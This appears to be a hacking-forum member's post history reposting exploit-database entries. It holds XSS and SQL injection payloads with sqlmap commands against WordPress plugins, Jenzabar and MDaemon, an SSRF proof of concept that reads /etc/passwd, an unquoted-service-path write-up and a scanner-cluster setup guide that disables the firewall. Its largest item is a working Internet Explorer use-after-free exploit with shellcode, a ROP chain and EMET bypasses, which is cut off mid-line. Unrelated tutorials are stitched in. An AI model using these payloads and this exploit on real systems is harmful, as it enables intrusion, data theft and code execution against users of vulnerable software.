Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. # Exploit Title: Jenzabar 9.2.2 - 'query' Reflected XSS. # Date: 2021–02–06 # Exploit Author: y0ung_dst # Vendor Homepage: https://jenzabar.com # Version: Jenzabar — v9.2.0-v9.2.1-v9.2.2 (and maybe other versions) # Tested on: Windows 10 # CVE : CVE-2021–26723 -Description: A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the query parameter (aka the Search Field). To exploit the vulnerability, someone must click the link. -Payload used: "><script>alert(1)</script> -Example : https://localhost/ics?tool=search&query="><script>alert(1)</script> -Steps to reproduce: 1. Open a website that use Jenzabar v9.2.0 through 9.2.2. 2. In the Search Field, enter anything. 3. Edit the query by replacing the text with the payload. 4. Press Enter to trigger the alert.
  2. # Exploit Title: WordPress Plugin Welcart e-Commerce 2.0.0 - 'search[order_column][0]' SQL injection # Date: 04/08 2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://www.welcart.com/ # Software Link: https://downloads.wordpress.org/plugin/usc-e-shop.2.0.0.zip # Category: Web Application # Version: 2.0.0 # Tested on: Ubuntu 18.04.04 LTS / WordPress 5.4.2 # 05/08 2020: Vendor notified # 06/08 2020: Vendor requested detailed information # 06/08 2020: Information provided # 11/08 2020: Vendor notified that a patch will be provided. No current ETA # 10/12 2020: Vulnerability fixed # 1. Description The POST parameter "search[order_column][0]" does not sanitize user input when searching through the order lists. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching through existing order lists and save it to request.txt Referer: http://192.168.0.63/wp-admin/admin.php?page=usces_orderlist sqlmap -r request.txt --dbms=mysql -p search[order_column][0] Parameter: search[order_column][0] (POST) Type: time-based blind Payload: search[order_column][0]=ID) AND (SELECT 9900 FROM (SELECT(SLEEP(5)))tKPd) AND (8867=8867&search[order_word][0]=test&search[order_word_term][0]=contain&search[order_term]=AND&search[order_column][1]=&search[order_word][1]=&search[order_word_term][1]=contain&search[product_column][0]=&search[product_word][0]=&search[product_word_term][0]=contain&search[product_term]=AND&search[product_column][1]=&search[product_word][1]=&search[product_word_term][1]=contain&searchIn=Search&allchange[column]=&collective=&wc_nonce=5e3ed8895f&_wp_http_referer=/wp-admin/admin.php?page=usces_orderlist
  3. # Exploit Title: WordPress Plugin Supsystic Pricing Table 1.8.7 - Multiple Vulnerabilities # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/pricing-table-by-supsystic.1.8.7.zip # Version: 1.8.7 and 1.8.6 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 07/12 2020: Vulnerability patched ################################## SQLi ################################## # 1. Description The GET parameter "sidx" does not sanitize user input when searching for existing pricing tables. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for existing pricing tables and save it to request.txt Referer: http://192.168.0.49/wp-admin/admin.php?page=supsystic-tables&module=tables sqlmap -r request.txt --dbms=mysql -p sidx Parameter: sidx (GET) Type: boolean-based blind Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=(SELECT (CASE WHEN (5313=5313) THEN 0x6964 ELSE (SELECT 9338 UNION SELECT 5490) END))&sord=desc Type: time-based blind Payload: mod=tables&action=getListForTbl&pl=pts&reqType=ajax&pts_nonce=2893fe633b&search[text_like]=test&_search=false&nd=1595624411398&rows=10&page=0&sidx=id AND (SELECT 9475 FROM (SELECT(SLEEP(5)))OjhB)&sord=desc ################################## Stored XSS ################################## # 1. Description The "Edit name" and "Edit HTML" features are vulnerable to stored XXS. Location: http://192.168.0.49/wp-admin/admin.php?page=tables-supsystic&tab=tables_edit&id=[TABLE ID] # 2. Proof of Concept (PoC) Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--' The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section. Enter the following payload into the "Edit HTML" section in the top right corner: <script>alert(1)</script><!-- The payload will get stored and will execute everytime the user attempts to view the pricing table.
  4. # Exploit Title: WordPress Plugin Supsystic Ultimate Maps 1.1.12 - 'sidx' SQL injection # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-maps-by-supsystic.1.1.12.zip # Category: Web Application # Version: 1.1.12 # Tested on: 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 09/12 2020: Vulnerability fixed # 1. Description The GET parameter "sidx" does not sanitize user input when searching for existing maps. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for existing maps and save it to request.txt Referer: http://192.168.0.49/wp-admin/admin.php?page=ultimate-maps-supsystic sqlmap -r request.txt --dbms=mysql -p sidx Parameter: sidx (GET) Type: boolean-based blind Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=(SELECT (CASE WHEN (7084=7084) THEN 0x6964 ELSE (SELECT 3932 UNION SELECT 2499) END))&sord=desc Type: time-based blind Payload: mod=maps&action=getListForTbl&pl=ums&reqType=ajax&search[text_like]=t&_search=false&nd=1595781611306&rows=10&page=1&sidx=id AND (SELECT 9735 FROM (SELECT(SLEEP(5)))AJAb)&sord=desc
  5. # Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery # Date: 09.01.2021 # Author: Numan Türle # Vendor Homepage: https://mfscripts.com # Software Link: https://yetishare.com # Version: v5.1.0 # Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4 Summary --------- YetiShare is script the file hosting. This script has remote file upload feature. Since sufficient security measures are not taken in the remote file upload area, SSRF vulnerability available. Description --------- When a new upload request is received by the user, the following function block is called first. app/tasks/process_remote_file_downloads.cron.php ------------------------------------------------ // include plugin code $url = $urlDownloadData['url']; $params = PluginHelper::includeAppends('url_upload_handler', array( 'url' => $url, 'rowId' => 0, 'urlDownloadData' => $urlDownloadData, ) ); $url = $params['url']; // start download $upload_handler->handleRemoteUrlUpload($url); ------------------------------------------------ The url parameter received as input from the user in the called function blog is sent to the "handleRemoteUrlUpload" function. /Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/ Uploader.class.php ------------------------------------------------------------------ public function handleRemoteUrlUpload($url, $rowId = 0) { ..... $remoteFileDetails = $this->getRemoteFileDetails($url); $remoteFilesize = (int) $remoteFileDetails['bytes']; if ($remoteFilesize > $this->options['max_file_size']) { .....ERROR MSG } else { // look for real filename if passed in headers if (strlen($remoteFileDetails['real_filename'])) { $realFilename = trim(current(explode(';', $remoteFileDetails['real_filename']))); if (strlen($realFilename)) { $this->fileUpload->name = $realFilename; } } // try to get the file locally $localFile = $this->downloadRemoteFile($url, true); ------------------------------------------------------------------ In this function that is called, the details of the file are taken first and if the bytes is not larger than the max_file_size, the "downloadRemoteFile" function will go to the download. ------------------------------------------------------------------ public function getRemoteFileDetails($url) { ..... $execute = curl_exec($ch); // check if any error occured if (!curl_errno($ch)) { $rs['bytes'] = (int) curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD); ..... ------------------------------------------------------------------ ------------------------------------------------------------------ public function downloadRemoteFile($url, $streamResponse = false) { ..... // use curl if (function_exists('curl_init')) { // get file via curl $fp = fopen($tmpFullPath, 'w+'); if ($ch === null) { $ch = curl_init(); } curl_setopt($ch, CURLOPT_URL, $url); ..... curl_setopt($ch, CURLOPT_FILE, $fp); if (curl_exec($ch) === false) { // log error LogHelper::error('Failed getting url. Error: ' . curl_error($ch) . ' (' . $url . ')'); return false; } $status = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); fclose($fp); ..... } ..... ------------------------------------------------------------------ POC --------- GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1 Host: target.com Connection: close Accept: */* Cookie: HERE_COOKIE Response --------- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Connection: close Pragma: no-cache Content-Length: XXX ...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082, "type":"text\/plain; charset=us-ascii","error":null,"rowId":0, "requestUrl":"file:\/\/\/etc\/passwd","url":.... .......... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync
  6. 1。 Redisサービスのインストール システム環境:CENTOS7X64 IPアドレス:192.168.1.11 1。静的IPアドレスを設定します [root@localhost backlion] #vi/etc/sysconfig/network-scripts/ifcfg-* bootproto=static #dhcp to static(modify) onboot=はい#この構成は、通常は最後の行で電源を入れるときにenableです(変更) iPaddr=192.168.1.11 #Static IP(追加) ゲートウェイ=192.168.1.1#デフォルトゲートウェイ。仮想マシンがインストールされている場合、それは通常2です。これはVMNET8のゲートウェイ設定です(追加) netmask=255.255.255.0 #subnetマスク(追加) DNS1=192.168.1.1 #DNS構成。仮想マシンをインストールする場合、DNSだけが単なるゲートウェイです。複数のDNS URLを追加する場合は、それらを追加します(追加) 2。ホスト名を設定 [root@localhost network-scripts] 1. Redisのリポジトリアドレスを設定します [root@localhost backlion]#yumininstall epel-release 3。ファイアウォールをオフにします [root@localhost〜]#cat/etc/selinux/config #このファイルは、システム上のSELINUXの状態を制御します。 #selinux=これら3つの値のいずれかを取得できます3: #執行- SELINUXセキュリティポリシーが施行されています。 #許容- SELINUXは、強制する代わりに警告を印刷します。 #無効-Selinuxポリシーはロードされていません。 selinux=disabled #SELINUXTYPE=3つのValue:のいずれかを取得できます #ターゲット - ターゲットプロセスが保護されています、 #最小- ターゲットポリシーの変更。選択されたプロセスのみが保護されています。 #MLS-マルチレベルのセキュリティ保護。 selinuxType=ターゲット 閉じるファイアウォール: Systemctl stop firewalld.service #stop firewall SystemCtl Disabled firewalld.service #disable firewallブート 4。 Redis をインストールします [root@localhost backlion]#yumインストールredis 構成ファイルを変更し、すべてのIPアドレスを聞く vim /etc/redis.conf 次の行を見つけます バインド 127.0.0.1 に変更します 0.0.0.0をバインドします 3。Redis構成認証パスワード yumメソッドにインストールされているRedis構成ファイルは通常/etc /redis.confにあり、パスワードを追加し、デーモニズはyesと保護されたモードを設定します。 requirepass backlion はいデーモー化 保護されたモード番号 4. Redisを開始して完了します [root@localhost] backlion]#redis-server /etc/redis.conf [root@localhost] backlion]#service redis start 自動起動をセットアップする必要がある場合 chkconfig redis on [root@localhost] backlion]#yumインストールgit [root@localhost] バックライオン] #CD /OPT [root@localhost backlion]# git clone https://github.com/grayddq/publicsecscan.git 2。サーバー展開 システム環境:Ubuntux64 IPアドレス:192.168.1.12 1。Optディレクトリを入力します root@backlion:〜# CD /OPT 2。スキャンプロジェクトPublicsecscanをダウンロードします root@backlion:〜# git clone https://github.com/grayddq/publicsecscan.git 3. Publicsecscanディレクトリを入力します root@backlion:〜# CD Publicsecscan 4. publicsecscanをインストールします ピップ -r requistions.txtをインストールします 5 lib/config.py configurationファイルを構成します(Redisと電子メール(オプション)関連情報に入力します、WVS情報は無視できます )) 6。 domain.txtでスキャンする情報を入力し、いつでも更新できます 7。実行 Python publicsecscan.py iii。ワーカーの展開 システム環境:Win7x86 IPアドレス:192.168.1.13 1. Python 2.7.5をインストールします https://www.python.org/ftp/python/2.7.5/python-2.7.5.msi#ここではwin7x86です 2。AWVS10.5をインストールします リンク:https://pan.baidu.com/s/16imwwgijzyi6cr1rocd7mqパスワード:ia2m 3. Pythonモジュールを個別にインストールします AMQP-1.4.6、 Anyjson-0.3.3、10億-3.3.0.13、Celery-3.1.7、Celery-4.1.1、Kombu-3.0.25、 Pytz-2018.4、Redis-2.10.6、Setuptools-39.2.0、XLWT-1.3.0、PIP-10.0.1 次のコマンドを使用してインストールします Python setup.pyインストール 私はすでにパッケージを完成させ、簡単にダウンロードするためにBaidu Netdiskにアップロードしました: リンク: https://pan.baidu.com/s/1sv-wudzzhmtnuua2s4fbjqパスワード: TNBW 4。lib/config.py構成ファイルを構成します(RedisおよびWVS関連情報に入力すると、電子メール情報を無視できます。 )) 5. publicsecscanディレクトリを入力し、コマンドを実行します CMDコードディレクトリの実行、-c 1はさらに1つのWVSプロセスを表します。 セロリ -aタスクワーカー-c 1 - loglevel=info -ofair 6。サーバーの展開での結果の結果を表示します: 出力ディレクトリデフォルト:/out/
  7. # Exploit Title: AMD Fuel Service - 'Fuel.service' Unquote Service Path # Discovery by: Hector Gerbacio # Discovery Date: 2021-02-05 # Vendor Homepage: https://www.amd.com/ # Tested Version: 1.0.0.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 8.1 con Bing # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\WINDOWS\\" | findstr /i "fuel.service" | findstr /i /v """ AMD FUEL Service AMD FUEL Service C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService Auto # Service info: C:\>sc qc "AMD FUEL Service" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: AMD FUEL Service TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe /launchService GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : AMD FUEL Service DEPENDENCIAS : RpcSs NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
  8. 1: Inherit the import method in the controller Edit file: application\admin\controller\xxx.php public function import(){ return parent:import(); 2: Add import_url to the corresponding JS of the module, as follows import_url: 'class7/import', In fact, in the new version, these are all added well. You don't need to add it. Three: Add the import button in index.html. a href='javascript:' class='btn btn-info btn-import {:$auth-check('class7/import')?'':'hide'}' title='{:__('import')}' i class='fa fa-arrow-circle-o-up'/i {:__('import')}/aThe effect is as follows Four: Importing skills Import according to fields or comments in the database.
  9. # Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'Contact name' Stored Cross Site Scripting (XSS) # Date: 2020-08-25 # Exploit Author: Kailash Bohara # Vendor Homepage: https://www.altn.com/ # Version: Mdaemon webmail < 20.0.0 # CVE : 2020-18724 1. Go to contact section and distribution list menu. Create a new distribution list. 2. Contact name field is vulnerabile to XSS. Use the payload <img src=x onerror=alert(1)> 3. We can see execution code and after saving it, each time we visits the distribution list section the XSS pop-up is seen.
  10. # Exploit Title: WordPress Plugin Supsystic Newsletter 1.5.5 - 'sidx' SQL injection # Date: 24/07 2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/newsletter-by-supsystic.1.5.5.zip # Category: Web Application # Version: 1.5.5 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply # 29/11 2020: WordPress Plugin Security team contacted # 01/12 2020: Plugin/Project closed by WordPress Security team # 1. Description The GET parameter "sidx" does not sanitize user input when searching for existing subscribers. # 2. Proof of Concept (PoC) Use ZAP/Burp to capture the web request when searching for existing subscribers and save it to request.txt. Referer: http://192.168.0.49/wp-admin/admin.php?page=newsletters-supsystic&tab=subscribers sqlmap -r request.txt --dbms=mysql -p sidx Parameter: sidx (GET) Type: time-based blind Payload: mod=subscribers&action=getListForTbl&pl=nbs&reqType=ajax&search[text_like]=testing&search[search_list]=0&_search=false&nd=1595780014444&rows=25&page=0&sidx=id AND (SELECT 1511 FROM (SELECT(SLEEP(5)))gTHi)&sord=desc
  11. # Exploit Title: Alt-N MDaemon webmail 20.0.0 - 'file name' Stored Cross Site Scripting (XSS) # Date: 2020-08-25 # Exploit Author: Kailash Bohara # Vendor Homepage: https://www.altn.com/ # Version: Mdaemon webmail < 20.0.0 # CVE : 2020-18723 1. Rename a file and set it’s name as <img src=x onerror=alert(1)>.jpg 2. Go to New mail, select recipient and the select attachment. Code gets executed as right after upload so it becomes self XSS. 3. Send the mail to recipient and open email from recipent side. Opening just a mail doesn’t executes the code but when the victim clicks on forward button, XSS pop-up is shown.
  12. # Exploit Title: Microsoft Internet Explorer 11 32-bit - Use-After-Free # Date: 2021-02-05 # Exploit Author: deadlock (Forrest Orr) # Vendor Homepage: https://www.microsoft.com/ # Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx # Version: IE 8, 9, 10, and 11 # Tested on: Windows 7 x64 and Windows 7 x86 # CVE: CVE-2020-0674 # Bypasses: DEP, ASLR, EMET 5.5 (EAF, EAF+, stack pivot protection, SimExec, CallerCheck) # Original (64-bit) exploit credits: maxpl0it <!DOCTYPE html> <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE8" /> <script language="JScript.Compact"> /* ___ _ _ ___ ___ __ ___ __ __ ___ ___ _ _ / _/| \ / || __|(_ / (_ / \ __ / \ / __|_ | || | | \__`\ V /'| _|__/ / // / / // |__| // | ,_ \/ /`._ _| \__/ \_/ |___||___\__/___\__/ \__/ \___/_/ |_| Overview This is a 32-bit re-creation of CVE-2020-067, a vulnerability in the legacy Javascript engine (jscript.dll) in Windows. It was used in historic versions of Internet Explorer but its load/usage can still be coerced (and thus exploited) in all versions of IE up to 11. A high quality description of this exploit can be found on F-Secure's blog at: https://labs.f-secure.com/blog/internet-exploiter-understanding-vulnerabilities-in-internet-explorer/ The original public 64-bit variation of this exploit was written by maxspl0it and can be found at https://github.com/maxpl0it/CVE-2020-0674-Exploit Maxspl0it's variation of this exploit works on IE 8-11 64-bit. It is using a ret2libc style attack with a RIP hijack to NTDLL.DLL!NtContinue which then calls KERNEL32.DLL!WinExec. Since it is on 64-bit (the first 4 parameters are in RCX, RDX, R8 and R9) no stack pivot is needed, and this drastically simplifies the creation of the exploit (especially as it relates to exploit mitigation protections such as EMET). My motivation in creating my own variation of this exploit was threefold: 1. I wanted to write an exploit that woulld work on 32-bit (as this is the default IE used on Windows 7 and 8.1 and thus makes the exploit more practical). 2. I wanted it to bypass the advanced exploit mitigation features such as stack pivot protection, EAF+, SimExec and CallerCheck (EMET 5.5 in Windows 7 but built into Windows Defender Exploit Guard today). 3. I wanted it to execute a shellcode payload rather than simply a command via a ret2libc style sttack. The first point was a relatively easy one to deal with. The sizes and offsets of various internal Windows and Javascript structures had to be adjusted for 32-bit. The other two points significantly complicated the exploit beyond what is found in maxspl0it's version of the exploit: executing a payload as shellcode requires a DEP bypass, which in turn requires a stack pivot. Stack pivots are perhaps the most scrutinized part of a modern exploit attack chain targeted by the exploit mitigations in EMET 5.5 and Windows Defender today. Furthermore, EAF+ prevents the resolution of key DEP bypass APIs (such as in my case NtProtectVirtualMemory) originating from within jscript.dll, which meant API resolution had to be done via import instead. Design The UAF aspect of the exploit itself is best explored in the aforementioned F-Secure blog, but in summary, the legacy JS engine contained a bug which would not track variables passed as arguments to the "sort" method of an array. This meant that GcBlock structures (which store the VAR structs underlying vars in JS) could be freed by the garbage collector despite still containing active variables in the JS script. From here, it was just a matter of re-claiming these freed GcBlocks and manipulating the VAR struct underlying the saved untracked vars (into BSTR for arbitrary read attacks for example). In both my variation and maxspl0it's the instruction pointer hijack is performed by manipulating the VAR struct underlying one of these untracked vars to point to a class object in another region of memory we control with the UAF re-claim. The first field of this class object will be the vtable pointer, and thus we can place a pointer at a method offset of our choice within this fake vtable. In this case, the "typeof" method is used, and when the typeof the var is queried through the JS script it will trigger execution of a pointer of our choice. In my variation, this hijack takes the instruction pointer to a XCHG EAX, ESP gadget within MSVCRT.DLL. There are only three gadgets in the ROP chain which need to be scanned for in memory in order to dynamically generate the chain (this exploit does not rely on static offsets within MSVCRT.DLL and should be reliable on any version of this module): 1. XCHG EAX, ESP ; RET 2. POP EAX ; RET 3. ROPNOP (derived from either of the previous gadgets by doing a +1 on their address) The goal of the ROP chain is to make a call to NtProtectVirtualMemory and change the protections of the shellcode (stored within a BSTR) in memory from +RW to +RWX. The issue with this, is that EMET hooks NtProtectVirtualMemory and will detect the stack pivot. To solve this issue, I designed a syscall ROP chain which manually populates EAX with the NtProtectVirtualMemory syscall number and triggers the syscall itself using an unhooked region withinh NTDLL.DLL. Payload The payload is a simple message box shellcode, the source of which can be found here: https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/EAF/MessageBox32.asm There is one very significant detail to this shellcode which needs to be replicated in any other shellcode substituted into this exploit if it is going to bypass EMET: the shellcode makes a stack pivot using the stack base pointer stored in the TEB. This is essential, as any call (even indirectly such as in the initialization user32.dll does before popping a MessageBoxA) to a sensitive API hooked by EMET (and there are many of these) will detect the stack pivot performed by the ROP chain and throw a security alert. Furthermore if your shellcode needs to resolve APIs from NTDLL.DLL or Kernel32.dll, you will have issues with the EAF feature of EMET, which uses debug registers to detect read access to the export address table of these modules from any non-image memory region (such as the private +RWX memory region where the shellcode is stored). */ var WindowsVersion = 7; var WindowsArch = "x64"; // Can be "x64" or "x86". Note that this is the OS architecture, not the IE architecture (this exploit is for 32-bit IE only). var Shellcode = [ 0x0004a164, 0x002d0000, 0x94000010, 0x68e58960, 0x00038f88, 0x00003ce8, 0xb81a6800, 0xe8500006, 0x0000007d, 0x7068646a, 0x89656e77, 0x656e68e1, 0x6f680074, 0x682e7272, 0x2d747365, 0x726f6668, 0x77776872, 0xe2892e77, 0x5152006a, 0xd0ff006a, 0x9461ec89, 0xe58955c3, 0x30be5657, 0x64000000, 0x0c408bad, 0x8918788b, 0xebc031fe, 0x74f73904, 0x74f68528, 0x245e8d24, 0x1474db85, 0x85044b8b, 0x6a0d74c9, 0x5de85101, 0x3b000001, 0x06740845, 0x368bc031, 0x468bd7eb, 0x895f5e10, 0x04c25dec, 0xe5895500, 0x0230ec81, 0x458b0000, 0xf8458908, 0x03f8558b, 0xc0833c42, 0xf0458904, 0x8914c083, 0xc289f445, 0x0308458b, 0x4a8b6042, 0xd04d8964, 0x89fc4589, 0x08458bc2, 0x89204203, 0x558bec45, 0x08458bfc, 0x89244203, 0x558be445, 0x08458bfc, 0x891c4203, 0xc031e845, 0x89e04589, 0x458bd845, 0x18408bfc, 0x0fe0453b, 0x0000d286, 0xe0458b00, 0x00850c8d, 0x8b000000, 0x458bec55, 0x11040308, 0x6ad44589, 0xbde85000, 0x3b000000, 0x850f0c45, 0x000000a1, 0x8de0458b, 0x458b0014, 0x04b70fe4, 0x850c8d02, 0x00000000, 0x8be8558b, 0x04030845, 0xd8458911, 0x89fc4d8b, 0xd05503ca, 0x7f7cc839, 0x7b7dd039, 0x00d845c7, 0x31000000, 0xd09d8dc9, 0x8afffffd, 0xfa800814, 0x80207400, 0x15752efa, 0x642e03c7, 0xc3836c6c, 0x0003c604, 0xfed09d8d, 0xeb41ffff, 0x411388de, 0xc6d8eb43, 0x9d8d0003, 0xfffffdd0, 0xe853006a, 0x0000003c, 0xfea3e850, 0xc085ffff, 0x45892974, 0x8d006adc, 0xfffed095, 0x21e852ff, 0x50000000, 0xe8dc75ff, 0xfffffed1, 0xebd84589, 0xe0458d0a, 0x1fe900ff, 0x8bffffff, 0xec89d845, 0x0008c25d, 0x57e58955, 0x8b084d8b, 0xdb310c7d, 0x74003980, 0x01b60f14, 0xb60f600c, 0xd1d301d0, 0xff8541e3, 0xeb41ea74, 0x5fd889e7, 0xc25dec89, 0x00650008, ]; //////// //////// // Debug/timer code //////// var EnableDebug = 0; var EnableTimers = 0; var AlertOutput = 0; var TimeStart; var ReadCount; function StartTimer() { ReadCount = 0; TimeStart = new Date().getTime(); } function EndTimer(Message) { var TotalTime = (new Date().getTime() - TimeStart); if(EnableTimers) { if(AlertOutput) { alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } else { console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); } } } function DebugLog(Message) { if(EnableDebug) { if(AlertOutput) { alert(Message); } else { console.log(Message); // In IE, console only works if devtools is open. } } } //////// //////// // UAF/untracked variable creation code //////// var UntrackedVarSet; var VarSpray; var VarSprayCount = 20000; // 200 GcBlocks var NameListAnchors; var NameListAnchorCount = 20000; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim var SortDepth = 0; var SortArray = new Array(); // Array to be "sorted" by glitched method function GlitchedSort(untracked_1, untracked_2) { // goes to depth of 227 before freeing GcBlocks, which only happens once. untracked_1 = VarSpray[SortDepth*2]; untracked_2 = VarSpray[SortDepth*2 + 1]; if(SortDepth > 150) { VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks CollectGarbage(); // Free the GcBlocks UntrackedVarSet.push(untracked_1); UntrackedVarSet.push(untracked_2); return 0; } SortDepth += 1; SortArray[SortDepth].sort(GlitchedSort); UntrackedVarSet.push(untracked_1); UntrackedVarSet.push(untracked_2); return 0; } function NewUntrackedVarSet() { SortDepth = 0; VarSpray = new Array(); NameListAnchors = new Array(); UntrackedVarSet = new Array(); for(i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray for(i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object(); CollectGarbage(); SortArray[0].sort(GlitchedSort); // Two untracked vars will be passed to this method by the JS engine } //////// //////// // UAF re-claim/mutable variable code (used for arbitrary read) //////// var AnchorObjectsBackup; var LeakedAnchorIndex = -1; var SizerPropName = Array(379).join('A'); var MutableVar; function ReClaimIndexNameList(Value, PropertyName) { CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability. AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation CollectGarbage(); // Free the leaked NameList AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit AnchorObjectsBackup[LeakedAnchorIndex]["\u0003"] = 1; AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable ReadCount++; } function CreateVar32(Type, ObjPtr, NextVar) { var Data = new Array(); // Every element of this array will be a WORD Data.push(Type, 0x00, 0x00, 0x00, ObjPtr & 0xFFFF, (ObjPtr >> 16) & 0xFFFF, NextVar & 0xFFFF, (NextVar >> 16) & 0xFFFF); return String.fromCharCode.apply(null, Data); } function LeakByte(Address) { ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte. } function LeakWord(Address) { ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); } function LeakDword(Address) { ReClaimIndexNameList(0, CreateVar32(0x8, Address + 2, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimIndexNameList(0, CreateVar32(0x8, Address + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return LowWord + (HighWord << 16); } function LeakObjectAddress(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address. ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 2, 0)); // Skip +8 over Type field of VAR to object pointer field and +2 for BSTR length adjustment var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); ReClaimIndexNameList(ObjVarValue, CreateVar32(0x8, ObjVarAddress + 8 + 4, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field) and +8 to skip over VAR Type var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8); return LeakDword((LowWord + (HighWord << 16)) + 8); // The VAR at the start of the VVAL has an object pointer that points to yet another VAR: this second one will have the actual address of the object in its object pointer field } //////// //////// // PE parsing/EAT and IAT resolution code //////// function DiveModuleBase(Address) { var Base = (Address & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be 